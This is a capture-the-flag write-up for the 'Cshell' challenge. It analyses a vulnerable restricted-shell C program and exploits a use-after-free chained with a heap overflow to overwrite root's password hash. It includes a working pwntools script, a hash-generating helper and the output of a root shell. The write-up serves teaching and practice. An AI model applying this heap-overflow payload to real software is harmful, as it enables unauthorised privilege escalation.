My friend Hevr thinks I can't code, so I decided to prove him wrong by making a restricted shell in which he is unable to play squad. I must add that my programming skills are very cache money...
TL;DR
Abuses a boundary-check misconfiguration to overwrite a previously freed chunk (Use-After Free), then overflow it to reset the root account's hash.
Basic File Checks
When we run the binary, we are asked to create a new user profile. We can provide a username, password and most importantly, a bio with the character limit of 200 words. To exploit the challenge, we need to find a way to become root with an UID of 0.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./Cshell
/\
{.-}
;_.-'\
{ _.}_
\.-' / `,
\ | /
\ | ,/
\|_/
Welcome to Cshell, a very restricted shell.
Please create a profile.
Enter a username up to 8 characters long.
> testtest
Welcome to the system testtest, you are our 3rd user. We used to have more but some have deleted their accounts.
Create a password.
> pass
How many characters will your bio be (200 max)?
> 200
Great, please type your bio.
> nope
+----------------------+
| Commands |
+----------------------+
| 1. logout |
| 2. whoami |
| 3. bash (ROOT ONLY!) |
| 4. squad |
| 5. exit |
+----------------------+
Choice > 2
testtest, uid: 1000
+----------------------+
| Commands |
+----------------------+
| 1. logout |
| 2. whoami |
| 3. bash (ROOT ONLY!) |
| 4. squad |
| 5. exit |
+----------------------+
Choice > 3
Who do you think you are?
Only canary and NX is enabled, meaning we have to combine a canary leak + ROP attack if we were exploiting a buffer overflow. However, this could also be hinting at the possibility of a heap-related exploitation.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=Cshell
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 2280 Symbols No 0 0 Cshell
Static Code Analysis
The source code provided for this challenge is relatively lengthy, so let's go through each function one by one to understand the workflow and find a way to exploit it. (Some useless functions are removed for brevity)
At the beginning, the structure for a LinkedList tracker is initialized to store records of the users data type. The only takeaway here is that the name and passwd buffer for a user is 8 bytes and 35 bytes in size respectively.
The LinkedList is iterated at the logout() function to find the existence of a user via it's username. If it finds one with that name, it will ask for a password and then hashes the plaintext password with the 1337 salt and checks the resulting hash against the stored hash.
At mentioned above, we need to select 3 from the menu as the root user to gain a bash shell. We can either tackle this challenge by cracking/guessing the root password or overwrite the password via some kind of overflow.
voidbash(){if (uid ==0){system("bash"); }else {puts("Who do you think you are?");exit(0); }}
Despite the root’s password being visible as plaintext in the main() function, we can never access the root account by using guessme:) as the password. This is because our input will undergo irreversible hashing algorithm before it is compared with the stored hash. As a result, the comparison will always lead to a contradiction statement that is always false.
intmain(){setvbuf(stdout,0,2,0);setvbuf(stdin,0,2,0);root_t=malloc(sizeof(struct tracker));user_t=malloc(sizeof(struct tracker));history();banner(); user =malloc(sizeof(struct users )*4); root = user +1;strcpy(user->name,"tempname");strcpy(user->passwd,"placeholder");strcpy(root->name,"root");strcpy(root->passwd,"guessme:)");strcpy(root_t->name,"root");root_t->ptr = root;root_t->id =0;root_t->next =user_t;setup();strcpy(user->name,username);strcpy(user->passwd,hash);strcpy(user_t->name,username);user_t->id=1000;user_t->ptr = user;user_t->next =NULL;menu();return0;}
If we look at the code for history(), we can see what it was talking about when it said you are our 3rd user. We used to have more but some have deleted their accounts. Essentially, what happens here is that the two pointers to heap allocated memory of the buffer of Charlie and Eric aren't cleaned up, thereby presenting our first vulnerability of Use-After-Free (UAF).
voidhistory(){ alex_buff =malloc(0x40);char alex_data[0x40] ="Alex\nJust a user on this system.\0";char Johnny[0x50] ="Johnny\n Not sure why I am a user on this system.\0";char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";char Eric[0x60] ="Eric\nThis is one of the best programs I have ever used!\0";strcpy(alex_buff,alex_data); Charlie_buff =malloc(0x50);strcpy(Charlie_buff,Charlie); Johnny_buff =malloc(0x60);strcpy(Johnny_buff,Johnny); Eric_buff =malloc(0x80);strcpy(Eric_buff,Eric);free(Charlie_buff);free(Eric_buff);}
The second vulnerability is a Heap Overflow that occurs in our bio when setup() is called. In short, It asks us for a length of bio, then allocates it with our length + 8, but call fgets to receive 201 characters anyway. To exploit this flaw, we can ask for a bio size smaller than 201 and achieve heap overflow.
Additionally, the username buffer, whose size is 8 bytes, is allocated with the scanf() function, reading up to 8 bytes. This could be a problem because scanf() writes the null terminator at the end, so indeed 9 bytes are written.
voidsetup(){char password_L[33];puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");printf("Enter a username up to 8 characters long.\n> ");scanf("%8s",username);printf("Welcome to the system %s, you are our 3rd user. We used to have more but some have deleted their accounts.\nCreate a password.\n> ",username);scanf("%32s",&password_L); hash =crypt(password_L,salt);printf("How many characters will your bio be (200 max)?\n> ");scanf("%d",&length); userbuffer =malloc(length +8);printf("Great, please type your bio.\n> ");getchar();fgets((userbuffer +8),201,stdin);}
Heap Visualization
Keeping track of all the invocation of malloc(), in order of execution, from main() all the way until setup(), we can visualize how the heap is allocated.
Size
Code
0x30
root_t = malloc(sizeof(struct tracker))
0x30
user_t = malloc(sizeof(struct tracker))
0x50
alex_buff = malloc(0x40)
0x60
Charlie_buff = malloc(0x50)
0x70
Johnny_buff = malloc(0x60)
0x90
Eric_buff = malloc(0x80)
-
free(Charlie_buff)
-
free(Eric_buff)
0xc0
user = malloc(sizeof(struct users )* 4)
Note that the last users struct actually holds the record for both user and root, which explains why the size is relatively larger.
Exploit Plan
In order to chain the Use-After-Free (UAF) vulnerability with heap overflow, we have to reuse a previously freed chunk of matching sizes. If we allocate 120 characters for our bio, combined with the automatic addition of +8, it will be the same size as Eric's buffer (0x80) that was previously freed.
Afterwards, since we are free to write anything to our own bio, Eric's buffer in this case, we can overflow it to overwrite the passwd of root account, because the users struct is just coincidentally below Eric_buff.
Calculating Padding
128 + 8 + 8 + 35 + root + passwd
We obviously need to fill the entirety of Eric's buffer before we can achieve a heap overflow, so we need 128 bytes of padding.
Now, notice that each and every heap chunk contains a magic byte as it's header. In this case, we need to fill the users struct header with 8 bytes.
Recall that the name and passwd buffer for a user is 8 bytes and 35 bytes in size respectively, and our user account is located on top of our root account. Hence, we need to overwrite the attributes of user account (8 + 35) with junk before we can reach the root account.
At this point, we have finally reached the struct for the root account. To prevent corruption, we need to overwrite the root username back as how it was, then finally write our custom password.
Generate Custom Hash
Reusing part of the hashing algorithm provided in the source code, we can generate our own password to overwrite the root account.
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<crypt.h>//gcc hash.c -static -lcrypt -o hashchar salt[5] ="1337\0";char*hash;intmain(){char password_L[33];char output[33] ="";char buffer[50]; printf("Create a password.\n> ");scanf("%32s",&password_L);char*hash =crypt(password_L,salt);printf("%s\n", hash);size_t len =strlen(hash); for (size_t i =0; i <= len; i++) {sprintf(buffer,"\\x%x", hash[i]);strcat(output, buffer); }printf("%s", output);}
Compile and run the hashing binary to derive the hex bytes for our custom password.
Putting everything together in pwntools to automate the attack.
solve.py
#!/usr/bin/env python3from pwn import*elf =ELF('./Cshell')p = elf.process()defregister():print(p.recvuntil(b"> ").decode(encoding='ascii') +"test") p.sendline(b"test")print(p.recvuntil(b"> ").decode(encoding='ascii') +"rockyou") p.sendline(b"rockyou")print(p.recvuntil(b"> ").decode(encoding='ascii') +"120") p.sendline(b"120")defexploit():# Padding of 179 padding =b"A"*128# Fill Eric's buffer padding +=b"A"*8# Fill users struct header padding +=b"A"*8# Fill username for user padding +=b"A"*35# Fill password for user root_hex =p64(0x746f6f72)# root hashed_passwd =b"\x31\x33\x64\x55\x62\x30\x6f\x68\x4f\x39\x79\x6a\x63\x0a"# securepassword payload = padding payload += root_hex payload += hashed_passwdprint(p.recvuntil(b"> ").decode(encoding='ascii')) p.sendline(payload)print(p.recvuntil(b"> ").decode(encoding='ascii') +"1") p.sendline(b"1")print(p.recvuntil(b":").decode(encoding='ascii') +"root") p.sendline(b"root")print(p.recvuntil(b":").decode(encoding='ascii') +"securepassword") p.sendline(b"securepassword")print(p.recvuntil(b"> ").decode(encoding='ascii') +"3") p.sendline(b"3")defmain():register()exploit() p.interactive()if__name__=="__main__":main()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py
[*] '/home/kali/Desktop/Cshell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/kali/Desktop/Cshell': pid 2280
/\
{.-}
;_.-'\
{ _.}_
\.-' / `,
\ | /
\ | ,/
\|_/
Welcome to Cshell, a very restricted shell.
Please create a profile.
Enter a username up to 8 characters long.
> test
Welcome to the system test, you are our 3rd user. We used to have more but some have deleted their accounts.
Create a password.
> rockyou
How many characters will your bio be (200 max)?
> 120
Great, please type your bio.
>
+----------------------+
| Commands |
+----------------------+
| 1. logout |
| 2. whoami |
| 3. bash (ROOT ONLY!) |
| 4. squad |
| 5. exit |
+----------------------+
Choice > 1
Username: root
Password: securepassword
Authenticated!
+----------------------+
| Commands |
+----------------------+
| 1. logout |
| 2. whoami |
| 3. bash (ROOT ONLY!) |
| 4. squad |
| 5. exit |
+----------------------+
Choice > 3
[*] Switching to interactive mode
$ cat flag.txt
corctf{tc4ch3_r3u5e_p1u5_0v3rfl0w_equ4l5_r007}